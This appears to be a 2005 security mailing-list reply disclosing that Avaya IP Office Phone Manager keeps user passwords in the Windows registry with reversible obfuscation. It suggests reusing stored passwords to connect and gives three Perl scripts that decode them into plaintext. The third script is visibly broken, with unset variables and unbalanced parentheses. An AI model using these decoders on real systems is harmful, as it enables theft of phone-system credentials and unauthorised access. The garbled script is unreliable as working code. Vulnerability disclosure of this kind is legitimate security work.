Likes: 
On Tue, Feb 22, 2005 at 11:29:52PM -0000, m123303@richmond.ac.uk wrote:
> I suspect there is a vulnerability in Avaya IP Office Phone Manager
You suspect correctly.
From some research we did with this product:
http://www.avaya.com/gcm/master-usa/.../softphone.htm
> [HKEY_LOCAL_MACHINE\SOFTWARE\Avaya\IP400\Generic]
> "UserName"="Joe Smith"
> "Password"=""
> "PBXAddress"="10.154.1.60"
Our values were found in a different registry location but i'm willing to bet
the obfuscation is the same. One method of attack is to simply place the stored
password in your own registry and hit connect. It's only there because people
are lazy and just want their phones to work. It's easily reversable:
----- 8< --- [ snippy snippy bad code ] --- >8 ----
#!/usr/bin/perl
$avayapw=shift;
my $pwlength = ord(substr($avayapw, 0, 1)) - 33;
my $startpoint = ($pwlength * 7) % 55;
print "Password length: $pwlength\n";
print " Start position: $startpoint\n";
print "\nYour password is: " . substr($avayapw, $startpoint, 1);
my $byte = $startpoint;
for ( my $a = 1; $a<$pwlength; $a++) {
$nextbyte = $byte - 7;
if ($nextbyte < 0) {
$nextbyte = 55 - (7 - $byte);
}
$byte = $nextbyte;
print substr($avayapw, $byte, 1);
}
----- 8< --- [ snippy snippy bad code ] --- >8 ----
Shorter:
#!/usr/bin/perl
$a=shift;
$l=ord(substr($a,0,1))-33;
for $c ( 1 .. $l ) {
print substr($a, (((($l-$c)+1)*7)%55), 1);
}
----- 8< --- [ snippy snippy bad code ] --- >8 ----
And something more fun:
#!/usr/bin/perl
use Win32::Registry;
$::HKEY_CURRENT_USER->Open("Software\\Avaya\\iClarity\\Options", $hKey) or die "Can't open: $^E\n";
$l=ord(substr($value,0,1))-33;
for $c ( 1 .. $l ) {
print substr($a, (((($l-$c)+1)*7%55), 1);
}
--
..:[ grutz at jingojango dot net ]:..
GPG fingerprint: 5FD6 A27D 63DB 3319 140F B3FB EC95 2A03 8CB3 ECB4
"There's just no amusing way to say, 'I have a CISSP'."
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